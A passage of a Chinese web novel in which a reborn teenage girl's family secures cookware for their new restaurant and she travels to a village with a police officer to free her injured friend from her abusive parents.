苏丽珍自然知道现在这些国营单位的作派,所以一听说有这么一位表现不一样的,就觉得这事有门。 在她看来,那位负责人既然能放下身段,愿意听听他们的需求,看一眼他们手里的锅具图样,想必也不是一个骄傲自大的人,起码没有对他们这些个体户充满偏见。 这就是个好兆头,想法子走动走动,说不定能有收获。 苏丽珍算了算日子,今天二十六号,马上要放月末假了,所以周日那天不休息,都调到了月底一起放,加上元旦还有一天假期,就能连休三天。 那位负责人姓于,是那家锅具制造厂的厂长。 她打算利用这三天时间,去找这位于厂长好好磨一磨,争取把人拿下。 谁知,这回苏卫华却没答应,他赞同闺女说的找于厂长求情试试,只不过不想闺女再为这事操心了。 他对苏丽珍说道:“珍珍,爸不能啥事都指着你,你已经为这个家做得够多了,爸也该有点进步。” 他重重拍了拍自己胸脯,“闺女,你信爸一回,爸指定把这事办下来,一定不会让你失望!” 李翠英也说:“是啊,珍珍,你爸一个大老爷儿们,有事自然应该他先上。再说,这不还有我和你姐吗?都说三个臭皮匠顶个诸葛亮,我们这仨人呢,总能想出个招儿来!” 林小麦就笑着拍手附和:“对对,干妈这话在理!我好歹也在城里混了几年,这事也见过不少!” 然后就开始给苏卫华传授自己的经验,“干爸,你听我的。你待会儿就去买两包烟,先去找那厂子看门的人,找他打听一t下那个于厂长的性格、爱好啥的,最主要是住址!然后再……” 看着小麦认真分享,她爸妈就在旁边专注倾听的样子,苏丽珍心里酸酸的。 她知道她爸妈是舍不得让她去求人,就是怕她被刁难、被看不起。 其实她想说,她一点都不在乎这些! 她是重生回来的人,只要能让她在意的人过得好,她什么都不怕。脸面不脸面的,她不在乎。 可是看到两人这样坚持,她也不舍得违背他们的意思。 她决定要让小麦帮忙多留意,万一苏卫华那边有人为难,她就把这事揽过去,决不能让她爸受委屈。 同时,她也在心里暗暗告诉自己,她现在能做的还远远不够! 她必须让自己越来越强,这样才能让爸妈以后不必再求人、过上随心所欲的生活。 这时,在一旁吃完饭、休息了一会儿的薛有粮溜溜达达过来了。 老爷子吃光了饭菜的饭盒里这会儿装满了卤花生,一边走、一边时不时往嘴里丢两颗,一脸美滋滋,颇为享受的样子。 “锅的事有眉目了?我说你们也别犟,我去找我那徒弟说一声,让他找找他们家亲戚,说不定这事就定下了。”薛老爷子刚刚也听了一耳朵,这时不免插了一句道。 薛老爷子有个徒弟,家里的亲戚在凤城市最大的炊具厂上班,之前老爷子听说他们买锅不顺利,就提过这话,不过都被苏丽珍一家委婉地拒绝了。 苏家人明白,这事跟买装修材料不一样,如果说因为装修材料不足,他们担心影响整体进度,耽误薛老爷子的时间,所以厚着脸皮让老爷子帮忙牵线搭桥还有几分说得过去。 可他们买锅纯粹是因为自家开饭馆,跟人家薛老爷子丁点关系也没有,不能因为老爷子性子好,他们就这么不见外。 而且人情越用越薄,好钢也要用在刀刃上。 他们没同意,薛老爷子也没说什么,反而因为这事越发欣赏苏丽珍一家,觉得他们做事圆融又讲分寸,更加看好他们。 所以双方的关系也越来越好。 苏家人对薛老爷子向来敬爱有加,当下也不避讳,直说了想试试去找那位于厂长求情。 薛老爷子点了点头,“能有个方向就是好事,至少知道该朝哪边使劲了。” 趁着做活儿的师傅们休息,李翠英和林小麦开始收拾碗筷。 苏卫华也跟过去帮忙,他觉得刚刚干闺女说那几个主意都挺好,他打算再好好研究研究。 见人都走了,薛老爷子就瞄了苏丽珍一眼,悠闲道:“丫头啊,你知道我为啥那么喜欢盖房子不?” 苏丽珍原本正沉浸在自己的思绪里,冷不丁听见薛老爷子问了这么一句,一时有些回不过神。 薛老爷子也没指望她回答,只兀自往下说道:“因为我特别喜欢房子建成那一刻的成就感。想想一块地上原本光秃秃一片,啥也没有,但是经过你的双手、你的努力,那里平地起了一所房子、一座高楼,那种经由自己创造一切的感觉真是特别畅快。” 苏丽珍因为他的话,暂时忘掉了之前的不虞,想象了下老爷子说的那副画面,顿时就理解了他口中的那份成就感。 但老爷子接下来却话锋一转,“不过你薛奶奶却不喜欢我干这个,她更希望我坐在办公室里画个图、算个数,不用那么辛苦,而且还整天造得一身泥。年轻那会儿,她觉得我不理解她的苦心,我嫌她多管闲事,我俩没少为这事掐起来!” 他说完,看了苏丽珍一眼,语气随意中透着几分开解。 “所以这世上,每个人的想法都是不同的,各人有各人的活法儿,也有各自的责任。谁都不能替谁活一辈子,更不能为谁做一辈子主,骨肉至亲也不行。” “而且有些事,在你眼中是吃苦遭罪,在别人那里兴许就是件好事,你明白吗?” 这些话落在苏丽珍耳中,让她犹如醍醐灌顶。 她总算明白了薛爷爷前面铺垫那些话,究竟想要告诉她什么。 是啊,她和爸妈何尝不是这样?她光想着不让他们两人受委屈,却忽视了两人身为父母,也有想为孩子遮风挡雨的心情。 她想起那天李翠英跟她说的,身为父母,他们更在意的是孩子过得好不好。 想她重生以来,但凡家里有点什么事,就总是拼命要挡在前面,可看到她这样,爸妈两人真的开心吗? 她想到现在一有空,两人就捧着字典看书看报,或者摆弄收音机听里面的政策。 这里面固然有他们因为做生意,所以想要与时俱进的心情,可更多的,会不会是因为她这个作女儿的,无意中给了他们太多的压力? 一想到这个可能,苏丽珍就觉得自己的心揪成了一团。 那边薛老爷子似乎猜到了她心里的想法,不由劝道:“你别多想,这不是啥大问题,毕竟能有你这么懂事能干的闺女,当爹妈的就是晚上睡觉也要笑醒的!” “其实你们一家很让人羡慕,作女儿的,处处想着帮扶父母;当父母的,又时时想成为女儿的依靠。所以我才劝你一句,要学会放手,这对你和你爸妈都有好处。” 被薛老爷子这么一说,苏丽珍慢慢放松了心绪,认真反省了自己,确实发现在许多事情上,她太急于揽下责任,也过于好强。 而她这样的表现,表面看着让人省心,其实无形中给爸妈带来了压力,也让他们更为她忧心。 幸好,她现在想明白了。 这一刻,苏丽珍由衷感谢薛老爷子这番苦心。 “薛爷爷,您说的对,是我的想法出了问题,幸亏您及时提醒我,要不然恐怕我爸妈会一直在心里悄悄担心我,而我自己却什么都不知道。” 薛老爷子一摆手,“嗐,你不嫌我糟老头子多管闲事就行!” 他看着苏丽珍,叮嘱道:“既然话都说到这了,我就再多一句嘴。你这丫头什么都好,就是心思太重。你说你个十六岁的小姑娘,就该上上学啊,吃点好吃的,买点新衣服啥的。你整天像个大人似的,那让真正的大人该干啥?是吧!有句话叫过刚易折!” 苏丽珍认真点了点头,“我明白了,薛爷爷,以后我会时常用您这番话提醒我自己,谢谢您!” 薛老爷子看着苏丽珍乖巧的样子,忍不住伸手摸了摸她的发顶。 多好的孩子啊,又乖又听话,要是他的孙女就好了。 他有些遗憾地收回手,却发现此时苏丽珍正一脸纠结地看着自己,不由愣了一下,“咋了?还有啥想不明白的,薛爷爷再开导开导你?” 结果苏丽珍无语地指了指他那刚摸过她头顶的手。 薛老爷子低头一瞅,好家伙,这手刚抓了大把的卤花生,现在满手的卤汤汁子还没干透呢! 薛老爷子赶忙收起这只手,有些心虚地咳嗽了一声,“哎呀,有点渴了,我去厨房倒个水啊!” 眼见薛爷爷一副干了坏事着急逃跑的样子,苏丽珍忍不住笑了起来。 旁边一直观察着新装木隔断的丁大勇看见一老一少说完了话,赶忙小跑着追上薛老爷子,有些讨好道:“薛爷爷,那啥,昨天你给我画的那两张图我都看完了。” 他一边说、一边从衣兜里摸出个巴掌大的小本子,翻开小本子,又从里面拿出一张纸,然后小心翼翼地拆开,眼巴巴地凑到薛老爷子眼前。 苏丽珍好奇,也跟着走过去看了一眼,只见那张纸上画着许多横竖线条,看着有点像之前老爷子画的平面图。 “大勇哥,这是什么?” 薛老爷子直接替丁大勇回答了:“这是结构施工图,专业的。” 他横了眼丁大勇,凶巴巴问道:“看明白了?这回知道我为啥不拆那堵墙不?” 丁大勇有些不好意思地挠了挠脑袋,讪讪道:“因为那是承重结构。” 薛老爷子听他说完,却瞬间像点着的炮仗似的,对着他一顿“噼里啪啦”。 “你个猪脑子,这么久才反应过来!前天不是对着图给你讲了半天吗?结果我稍微换了一下,你就答不上来,笨死你得了!” 丁大勇一脸老实地乖乖听训,中途甚至还去给老爷子倒了杯热水,看得苏丽珍惊讶不已。 第70章 可能是丁大勇态度不错,薛老爷子终于收了骂,拿着那张图又给他讲了几句,最后更是直接从大衣口袋里摸出一本小册子递给他。 “喏,拿回去有时间就看看吧!要是有看不明白的,再来问我。” 苏丽珍看见那小册子封面上写了“建筑构造原理”几个大t字。 丁大勇如获至宝,乐得直接朝着薛老爷子鞠了一躬。 苏丽珍看他这么高兴,蓦然明白过来,对方为什么不愿意回厂上班了。 过后,她悄悄问了薛老爷子一句,“薛爷爷,大勇哥是不是想跟你学施工建造?” 没想到老爷子却摇了摇头,“也不全是,我看他倒像是对你们家这种内部改装更感兴趣,问得也都是这方面的问题。” 苏丽珍恍然,想到室内装修这一块过几年会成为新兴行业,随着房屋市场成型,买卖房子的人多了,必然会红火起来。 她上辈子死在九一年冬天,临死前那一年,遇到过几个因为单位效益不好,下岗后跟亲戚结伴偷/渡过来的老乡。 从他们口中才得知,那时国内大多数国营企业都开始走下坡路,很多厂子的工人工资都要国家补贴才能勉强发下来。 如果真是这种情况,大勇哥要是能学会这门技术,未来也不失为一条出路。 大勇哥对这些感兴趣,却不肯跟大家说,估计是怕被认为不务正业。 毕竟现在装房子的才有几家?现在干这个甚至都不如摆摊,起码摆摊还有钱赚,大勇哥真要做这个,恐怕连她爸妈都未必赞成。 既然丁大勇有顾忌,苏丽珍自然也没有说破,不过她心里是支持对方的,于是便对薛爷爷说道:“技多不压身,大勇哥想多学点东西总归是好事,那就麻烦薛爷爷您费心了。” 老爷子倒没说什么,“这小子性子不错,我瞧他也有那么点天赋,又肯用功,干脆就指点他几句,就是不知道他能坚持多久。” 他可不是藏私的人,小伙子各种找机会往他跟前凑,他也不是看不出来。反正只要心思正、人本分,他教一教也没啥大不了的。 苏丽珍也觉得这是丁大勇的机缘,毕竟像薛老这样专业技术过硬、又不吝惜指点的老师绝对是可遇不可求。 所以之后,每当丁大勇找机会往小楼这边跑,苏卫华夫妻撵他回去上班时,她总要找机会帮忙打打掩护。 一晃又过了两天,苏丽珍因为想明白了自己不妥之处,所以决定这次彻底放手,把买锅的事交给苏卫华,全凭他自己张罗。 苏卫华以前在机械厂的时候,性子其实有些沉闷,也不爱与人聊天,那时让他去找谁送个礼、走个后门,简直是老大的难关了。 自打家里开始摆摊后,这才一点点锻炼出来。不过事实证明,每个人都有无穷的潜力,苏卫华还能锻炼得更好! 那天下午,苏卫华先是按照林小麦的建议,打听到了那位于厂长家的住址,然后就一连三天带着礼物蹲守在于厂长家门口,绝对比“三顾茅庐”还诚心。 最后,于厂长禁不住他这番软磨硬泡,终于答应等饭馆的工商执照下来后,让他带着执照复印件加街道开具的介绍信,到厂子里拿货。 薛卫华已经跟于厂长说好,这次先定二十套铜锅、四套特大号高汤锅。 至于鸳鸯锅,于厂长也答应可以帮他们订做二十套。 当初苏丽珍画图样的时候,原本最先考虑的是过几年更流行的那种盆形的敞口鸳鸯锅。 但是在听说苏卫华买锅不顺利后,决定干脆采取最简单的方式,直接在现在的铜火锅火筒两边各加一块挡板,达到分隔汤水的目的。 这样工厂就不用另外打造新的模具,而继续使用原有的模具,起订量问题就好谈了。 果然,于厂长对苏卫华一次只定做二十套鸳鸯锅的要求并没说什么,价钱方面更只是象征性地多加了一点,可以说是很照顾老苏家了。 至于工商执照这块,早在小楼没动工之前,苏卫华就去工商局打听了。 那时一问才知道,他们家已经不算是个例了,在他之前,凤城市已经陆续有十几个个体户去打听办执照的事了。 工商局给包括苏家在内的这第一批个体户统一办理了手续,正式的执照大约要元旦放假后才能下来。 算算时间,拿执照、买锅这一套流程应该刚好赶在小楼完工那两天,这个时间不早也不晚,他们的时间还很充裕。 眼下开店最棘手的问题解决,大家都十分高兴。尤其这回定锅具,基本全是苏卫华一个人跑下来的,这本身就是件很有意义的事。 事实证明,只要有决心、有毅力,你能做到的事远比你想象的多。 放在以前,苏卫华是绝对不会想到,他会像个街溜子似的,天天堵在人家门口,一天两次被人当坏人,还差点报了公安。 可是不管多么为难、多么尴尬,他却始终坚持、没有放弃。 等真的办成了这件事,他心里也生出了一股豪情:就算得了这糟心的病,当初灰溜溜从机械厂退下来,可他苏卫华照样能行;他依然能给媳妇和两个闺女、给他们这个家,真正的支撑。 那天晚上,苏卫华往自己的水杯里兑了一点白酒,叫丁大勇陪他一起喝一杯。 李翠英和苏丽珍看得好笑不已,却也没有阻止他。 大家都看得出,苏卫华是发自内心的高兴。 苏丽珍心里却有些难受,她只恨自己之前太自以为是,要不是薛爷爷及时提醒,她都不知道什么时候才会发现,苏卫华和李翠英身为父母也会想要实现自己的价值,想获得认同感和成就感。 好在还有机会去改。 她好像总是在犯错和改正间不断重复,想到这里,她心中不免有几分苦涩。 这时,旁边的林小麦看她好像在发呆,忍不住轻声打断她,“珍珍,干妈做的这个肉皮冻真的太好吃了,我还是头一次吃这道菜呢!” “我看你一直都没夹,你也快尝尝啊!”说着,她就把自己跟前那盘肉皮冻往苏丽珍这边推了推。 苏丽珍回过神来,却顺势把这盘肉皮冻挪到了一旁,劝对方道:“姐,这个虽然好吃,但是你现在还不适合吃太多。家里的肉皮还攒了不少,等你再好一点,咱们让妈都给熬成皮冻。” 李翠英正好去厨房添菜回来,听见闺女这一句,赶忙道:“看我,都忘了叮嘱小麦一声了!” “麦啊,你妹说的对,这皮冻你尝两口就行,可别多吃!” 接着,往桌上扫了一圈,见苏卫华面前正摆了一盘熘肝尖,她忍不住白了对方一眼,数落道:“你看看你,这猪肝是给小麦准备的,你咋不知道往她那边端,还摆你自己跟前了!” 说话间,就把那盘熘肝尖端到了小麦跟前。 林小麦忙说,“干妈,我吃啥都行,这熘肝尖我看干爸也挺爱吃,你就放他那边吧!” 李翠英笑道:“没事,他也不是没长手,让他自己夹,咱不管他!” 苏卫华一点也不生气,还笑呵呵道:“对、对,小麦,你吃你的,干爸够得着。” “哎!干爸、干妈,你们也吃!” 感受到来自苏丽珍一家的关心和疼爱,此刻林小麦的脸上全是笑容。 苏丽珍看着对方开心的样子,心里也暗暗合计,后天就开始三天连休了,或许那件事也可以准备了—— 十二月三十号,学校开始放假。 上午九点,苏丽珍就早早守在市局刑警队大门口等候。 没等多久,卢向阳和一个身着警服、器宇轩昂的年轻警官就一前一后从大门出来了。 苏丽珍赶忙迎上前,“卢大哥,不好意思,又要给你添麻烦了。” 年轻警官,也就是卢向阳的大哥,卢向杰闻言笑道:“苏家妹子,别这么客气,只不过一点小事罢了。再说,向阳把事情的前因后果都告诉我了。能帮到那个小姑娘的话,我也很愿意出一份力。” 原来打从林小麦住进苏家,苏丽珍就一直想着怎么彻底把她从那个地狱一般的家里彻底摆脱出来。 说实话,这件事无论从哪方面入手都很困难。 现在的人笃信“天下无不是的父母”,所以林家那对父母占据着天然的舆论优势。 别看他们对小麦的所作所为十分恶劣,让大家看不过去。可只要这对父母动了歪脑筋,在众人面前假装挤几滴眼泪、卖卖惨,众人十有八九就会转头去劝说小麦。 所以小麦想单方面跟他们完全划清界限,很难。 唯一的办法,只有让那对父母主动把小麦分割出去。 可那对父母对小麦,没有丁点身为父母的良知和人性,让他们主动放弃小麦这个能换彩礼的“摇钱树”,简直是天方夜谭t。 不过,苏丽珍在前两天整理家里这段时间的账目时,无意中看到了一沓小麦这次受伤住院的票据。 她当时就灵光一闪,觉得这些票据或许就是破局的关键。 于是,昨天她特意找了卢向阳,把林小麦的情况跟他说了一遍,最后托他帮忙跟他大哥卢向杰说说,看能不能陪她到林家走一趟。 现在的人对人民警察有一种天然的畏惧,对于一辈子没出过几次院门的村里人来说,这种畏惧更甚。 所以她也不需要卢大哥做什么,只要他穿着警服在村子里走一圈,就能对那对父母起到很好的震慑作用,省得他们撒泼打滚,装傻充愣。《 》 70-80 第71章 卢向阳听了林小麦的事,感到义愤填膺,当场就对苏丽珍拍胸脯保证,他哥一定会答应下来。 而且不光他哥,到时候连他也要跟着一起去。 苏丽珍想想也没拒绝,而且人多的话,苏卫华夫妻也能更放心一点。 这事她已经跟苏卫华夫妻俩商量过了,一方面她不想事后徒惹父母担心; 另一方面,这次虽然有卢向杰帮忙,但是多少也要打点一下关系,她也需要从父母手上拿钱。 他们早就已经商量好了,只不过暂时先瞒着林小麦,以防事情有变动,一旦希望落空,她心里难受。 苏丽珍跟卢家兄弟回合后,三人便骑着自行车往城外林家大队去了。 林家大队在出了凤城往西十五里路的位置,冬天雪地不好走,他们用了将近一个小时的时间才到地方。 来之前,苏丽珍已经旁敲侧击从林小麦口中得知了,林家大队的干部们都很不错。特别是管事的那位林大队长,跟小麦沾了点亲,也一直在暗中关照她。 如果没有林队长几位干部压着,光凭小麦自己,恐怕最终也是双拳难敌四手。 等进了村子,苏丽珍跟一个老乡先打听清楚了林队长的家,一行人便直接过去了。 冬天,村子里的人都在家猫冬,偶尔赶上太阳好的日子也会出来溜达溜达,三五成群,上山拉网打猎,或者下河凿冰捞鱼。 今天天气就十分不错,没风,日头也足。苏丽珍他们来的时候,村子里不少人正吆喝着要结伴上前面大河凿冰窟窿去。 村子里难得来个外人,而且三人中居然还有个戴“大盖帽”的! 好家伙,是公安啊!这莫不是谁家摊上啥大事了? 又见他们一上来就打听队长家,大伙儿心里更嘀咕开了,这下也不寻思打鱼了,一个拽着一个,齐刷刷就跟着苏丽珍三人一起往林队长家去了。 等到了林队长家,正赶上人家一家人吃饭。 农村猫冬的时候,一般没啥事都吃两顿饭。 这位林队长五十多岁的年纪,身材敦实,面相上略带几分精明。 对方一看到一身警服的卢向杰也是吓了一跳,手里的饭碗都差点摔了。 “公、公安同志,俺就是林家大队队长林长顺……那啥,请问你们咋、咋来了?是不是俺村谁犯事了?” 林家其他人也纷纷站了起来,一家子男女老少都忐忑不安地看向苏丽珍三人。 苏丽珍知道卢向杰的身份会很好用,但没想到会这么好用,不过眼见着把人家一家子吓得够呛,她心里也有些过意不去。 她飞快看了眼卢向杰。来之前,她已经和卢向杰约定好,这次让对方来主要是起个震慑作用,防止坏人蛮不讲理、甚至狗急跳墙。 对方也不需要主动说什么或做什么,全程旁观即可。 果然,在苏丽珍的眼神看过来时,对方立即朝她微微点了下头,表示一切由她主导的意思。 苏丽珍心领神会,立时主动上前,对林队长说道:“林队长您好,您放心,您村里没人犯事。我们这次来主要是为了讨要欠款,这位公安同志也是来帮我们做个见证的。” 林队长一听说不是村里人犯事,着实松了口气,不过他很快反应过来苏丽珍后面的话,眉头当即皱了起来:“欠款?你是说你们是来要账的?俺村谁家该你们钱了?” 苏丽珍扫了眼屋门处时不时晃动一下的棉门帘,耳听屋外窸窸窣窣的动静,当即提高了音量。 “是啊,林队长,我们是来找一个叫林宝库的人要账。” 她话音刚落就听门帘外一声低呼。 “哎呀,林宝库不就是林大赖子吗?原来是找他要账的!” 接着又有人小声议论起来,“这得该人多少钱啊,看把公安都给招来了!” “要俺说这林大赖子太不是东西,最好公安能把他抓起来,让他蹲大牢才好!” 这句话顿时引来众人附和。 这你一句、我一句的,就算林队长家的棉门帘再厚也挡不住这么多人的声音。 林队长气得上前一把掀开门帘,对着外头就是一阵吼:“赶紧起开,一个个吃饱了撑得,上这瞎咧咧啥!也不看看这啥情况,都给俺滚犊子!” 把外头人都撵走后,林队长紧跟着就让儿子媳妇带着孩子们去了别的屋,又招呼老伴拿红糖沏热水。 这回屋里屋外都消停了,林队长才问苏丽珍道:“闺女啊,你是哪里人啊?咋林赖子……哦,就是林宝库,他是咋欠的你们钱?欠了多少啊?” 问这话时,他语气很温和,而且眼神还时不时往卢向杰那边瞄,显然更顾忌后者。 苏丽珍便答道:“林队长,我姓苏,是城里的。”接着指了下卢向阳,“这是我朋友,他是特意来陪我走这一趟的。” 卢向阳闻声点了点头,绷着脸,一句话没说,看着有点不太好惹的样子。 不是他故意装酷,实在是他现在正处于变声期,不开口的话,这身高体型还能充个大小伙子,要是一张嘴,那效果就直接减半了! 林队长人老成精,不动声色地打量了卢向阳一番,发现这个脸嫩的年轻人居然跟旁边的公安同志有三分像,立时觉得自己发现了什么,于是对苏丽珍和卢向阳越发客气了几分。 “原来是城里来的,怪不得俺看着你们怪有派的!那啥,先上炕吧,有啥话咱坐下说。” 苏丽珍道了声谢,时间不早,她也没跟对方寒暄,只接着刚才的话题往下说:“林队长,您应该知道林宝库有个女儿叫林小麦吧?” 见对方点头,她才继续道:“林小麦之前在城里摆摊,这个月五号,她给人送鸡蛋回来的路上遇到了坏人抢劫,被歹徒当场刺了一刀。我和小麦是朋友,当时她的情况十分凶险,医生联系不到她的家人,所以一直是我们家人在医院守着。” 林队长听说林小麦出了这么大的事,脸色立刻变了。 连站在旁边、一直没开过口的队长老伴也有些急了:“啥,小麦受伤了?情况还挺危险?” “唉呀!”她狠狠拍了下大腿,“俺就说她半个多月不见人影,搞不好就是出事了!偏偏你们这帮人都说她是在城里有着落了,所以才不回来!” “还有瘪犊子非说她在城里发财了!俺就说,那财是那么好发的?那随便进城摆个摊子就能发大财,那城里人还上班干啥,都去摆摊算了!” 林队长受不了她唠叨,喝了她一句,“行了,叨叨个啥,就你明白咋地!” 他两个眉头直接拧成了硬疙瘩,不过转头面对苏丽珍时,态度还是和缓下来,“小苏姑娘,那小麦她现在咋样了?还在医院吗?俺们想去看看她!” 苏丽珍仔细观察了对方,见他神色不似作伪,应该是真心想去看看小麦,便据实相告道:“她已经出院了,现在暂时在我家落脚。” “但是医生说她过去遭了太多罪,把身子骨熬坏了,所以这次受伤对她来说,影响远比正常人大得多。后续要一直好好休养,而且至少还要再吃一两年的药。” “啊,这么严重!”林队长老两口齐齐变了脸。 “这孩子命咋这么苦!”队长老伴眼角有些发红。 林队长也沉沉叹了口气,这才对苏丽珍三人解释道:“这事啊,也怨我!说来惭愧,这孩子情况有点特殊,她是自己一人在山上住……她家的事,俺估计你们应该也知道点。” “这几个月,这孩子一直从邻近村子里收鸡蛋和干菜到城里t卖。看她跑得勤,大伙儿都猜她可能挣到了钱,然后这事就传到了林赖子耳朵里。” “这林赖子两口子不做人,趁着那孩子白天不在,自己摸到山上把那孩子攒下的那点家当都给偷走了!之后那孩子就一直没回来,所以俺们就猜她可能是故意躲出去了,这才没去找!” “俺们真是、真是做梦也没想到能出这么大的事啊……唉,这孩子真是太苦了!” 尽管对那对父母早已不报任何希望,但是一听说这种情况下他们还惦记着小麦那点东西,苏丽珍心中就愤怒不已。 亲生父母尚且如此,相比之下,林队长老两口这样已经算好的了。 不过,看见两人这样的态度,苏丽珍觉得有些话也不妨挑明了说。 “至于我为什么要找林宝库要账,当时医院联系不到小麦的家人,所以她住院期间的费用都是我们家垫付的。” 苏丽珍从随身挎着的书兜里拿出一沓票据递给了对方。 “这是医院开的诊断书和所有收据,总共是三百九十八块六角二分钱,这里面还不包括她这段期间的伙食费和其他杂七杂八的费用。” 林队长也来不及细看那些收据,老两口光是一听说小麦的医药费要这么大一笔钱,就又是吃惊、又是发愁了。 到现在,他们才听明白,眼前这三人说找林赖子要账,其实要的是当初帮小麦垫付的救命钱。 按说这钱理应给人家,就算这笔钱多到许多农村人一辈子也挣不到,但是事情该咋地、就咋地,这毕竟是老林家欠人家的。 可问题是,就林赖子一家那副德行,这笔钱可就难要了,何况他们家也拿不出来啊。 林队长往卢向杰的方向看了一眼,心里愁得不轻。 林赖子拿不出来,人家可未必能轻易罢休。 到时候闹起事来,他既是大队长,又跟林赖子沾了点亲,无论如何也跑不了,还得给他擦屁股。 而且就算是单单冲着小麦,这事他也不能不管。 想到这里,他就觉得手上的医药票子有千斤沉。 实在是太多了,这简直就是拿钱堆出来的命啊。 苏丽珍一直紧盯着老两口,假装没看出他们眼中的为难,自顾自继续道:“当然,我跟小麦朋友一场,后面那些钱我可以不要,但是这么大一笔医药费,我是必须要讨回来的。” “我找人打听过了,小麦还没满十八周岁,算是未成年,这种情况下,她治病的医疗费,我们是可以直接跟她父母讨要的。” “我今天先来林队长您家里,也是想着先让您给过过眼。毕竟您识文断字有见识,这医药费一张张白纸黑字写得清清楚楚,谁也别占谁的。” 她说这话时,语气十分笃定,就好像拿准了林赖子家不敢赖账一样。 “至于您说他拿不出钱,我也不着急!如果实在没有,来年地里不是还有产出吗?人头粮、工分粮,什么都成,总之我们不朝他多要一分,但是他也不能赖我们分毫。” 第72章 这时,从进屋就一直没怎么说话的卢向杰忽然开口道:“她说的没错!父母对未成年子女负有抚养义务。在子女成年前,父母必须支付子女衣食住行、就医和教育等所有费用。” “这笔费用如果先期由他人支付,那么付钱的人有权向亲生父母索要。所以她要这笔钱完全是合法合理的!” 卢向杰这番话说的义正辞严,配上他那略显严肃的面容,效果可想而知。 林队长一看这阵势,哪里还不明白,这就是人小苏姑娘的底气啊! 林赖子家这回是既不占理儿,更不占势了! 看样子,人家肯定不能轻了! 倒不是他向着林赖子,实在是这些年这个不着调的就没干过一件正事,别说让他一次拿出四百来块钱,就是四十都费劲。 人家小苏姑娘可是带着公安来的,他可不想让林家大队在十里八村都出名。 再者,他想着小麦眼下还在人家家里落脚呢,他咋地也得为那孩子想想,不能让那孩子太为难。 不行的话,就他这边先给凑一点,也算有个能给小麦做主的。 于是,他咬了咬牙,对苏丽珍道:“小苏姑娘,不是俺好拦事,更不是俺向着林赖子,实在是他家的情况,俺最了解。一家子好吃懒做,恐怕没几个钱。” “要指着地里出息还账,对别人家来说兴许能成,指着他们家可太费劲了。你们大老远来一趟,俺不能让你们白跑,咋说小麦也喊俺一声叔爷,干脆俺今天先给你们拿一点。还一点,是一点!” 旁边林队长老伴张了张嘴,到底没出声阻止。 苏丽珍听到这话,目光微暖,不过她还是果断拒绝道:“林队长,既然别人家能行,没道理他家就不行!而且一码归一码,谁欠的钱,就谁来还。小麦既是他的亲生女儿,这笔钱就必须他来出!” 说到这里,她语气微顿,看着林队长老两口意有所指道:“不想还钱,除非他们能不认这个女儿。如果林小麦不是他们家的人了,那以后,她的事自然与林家无关。” 当然,她说的是“以后”,发生在这之前的,他们家是一分也跑不了。 林队长和老伴两个都没听出这话里还挖了个“坑”,他们只是觉得苏丽珍这话不像随口说出来的。 老两口对视一眼,心里竟同时冒出了一个念头。 林队长试探着问苏丽珍道:“小苏姑娘,你刚刚那话是说笑的吧?” 不料却见对方摇了摇头,“这不是说笑,林队长,我是认真的!” 林队长面色微变,“难不成你是想让小麦跟老林家断亲!” 苏丽珍这回直接承认了,“是断亲。而且不光口头说说,我要林家出具断亲文书,他们还必须把小麦的户口迁出来。从各种意义上,断的干干净净!” 林队长和老伴到了此刻,才终于明白,原来苏丽珍绕了这么大个圈子,真正的目的竟然是这个! 老两口一时心里有些复杂,在他们乡下,时人信奉了千百年的老话,那就是“天下无不是的父母”,血脉至亲间更是“打断骨头连着筋。 所以这些年,即便他们也看不惯林赖子家对小麦姐妹仨不好,却从没想过要劝她们断亲。 林队长一时心头百味杂陈,忍不住问了句:“这是小麦自己的意思吗?” 苏丽珍语气淡淡道:“小麦现在还在修养期间,她不知道我来这一趟。所以您可以把这事完全看作是我的意思。” “林队长,我刚刚说的断亲并不取决于我的想法。最终还是要看林宝库这个做父亲的怎么想,不是吗?” “如果他能悔过自新,有了为人父亲的自觉,勇于承担这笔医药费,那我的一切想法都是白搭,不是吗?” 林队长一时有些语塞,是啊,人家也没说非让林赖子一次把账还清。没人逼他,到时怎么选,还不是他自己说了算。 可他知道,依林赖子那一家的德性,肯定一分钱都不掏,直接就能把小麦撵出去。 这时,林队长老伴过来扯了扯他衣袖。 林队长明白,老伴这是劝他别管这事了。 他再次看了眼手里厚厚的一沓医药票子,心里明镜似的,小麦这是遇到贵人了! 人家这次就是来给她撑腰做主的。 罢了,想想早已去了的大麦、二麦,难得小麦有了这样的造化,他就帮一把吧。 林队长想明白之后,很快给苏丽珍表了态。 “俺明白小苏姑娘你的意思了。小麦这事,待会儿你咋说,俺就咋配合你……这也是俺这做叔爷的,最后能为她做的了。” 得到了林队长这样的承诺,苏丽珍今次目标的完成难度可以说直接减了一半。 按照她之前设想的,这一趟最重要的就是把小麦的户口从林家迁出来。 但是现在在乡下,未满十八岁不能单独立户。再加上户口农转非难度很大,为了后续能顺利把小麦的户口迁入他们家,他们中途还要办理收养手续,这也是有点小麻烦的事。 所以眼下最好的办法,就是先把小麦的户口暂时落到村里一户可靠的人家里。 苏丽珍觉得林队长家无论从哪方面看,都是个很合适的人选。 林队长也没拒绝,反正他都已经答应会配合苏丽珍了,自然不会t再这些小事上纠结。 事情谈妥了,接下来就可以正式去会会林家那些正主了。 不过临出门之前,苏丽珍还是让卢家兄弟先在外面等一会儿,自己则从随身的书兜里拿出一个信封,交给了林队长老两口。 “林叔爷、叔奶,小麦常跟我们提起,说这些年在村子里,你们二老和一些乡亲们没少照顾她。所以这里面的是我们的一点心意,算是感谢你们对小麦的帮助。” 这信封里装着二十多张票据,主要都是些肥皂票、胶鞋票、布票之类农村人不容易弄到,却又很实用的票据种类。 尤其这打头第一张的缝纫机票。 作为时下“三转一响”中的一转,别说在乡下,就算是偌大的凤城市里,也是一票难求。 这张票是苏丽珍特地花了二十块钱从倒爷手里买到的,中间还搭了人情。 她听小麦说过,林队长家里有自行车和手表,而相比收音机,她觉得缝纫机更实用一点,估计会更合林队长家人的心意。 果然,本来看苏丽珍要给他们这么多票,林队长老俩口原本是要拒绝的,可是一看到这张缝纫机票,林队长老伴推拒的手就不由迟疑了一瞬。 苏丽珍便顺势把这些票都塞到了老太太手里。 林队长有些抹不开脸,一张老脸眼见着直发红,瞪了自家老伴好几眼,终究还是没舍得拒绝。 不过他拿了缝纫机票,其他票却坚持要退给苏丽珍。 苏丽珍摇了摇头,劝对方道:“叔爷,村子里之前帮过小麦的人也有不少,这些票您要是有用不上的,就送给他们吧,也算替我们向大伙儿表表心意。” 这事简单,这回都不用林队长吱声,林家老太太就一口子应了下来。 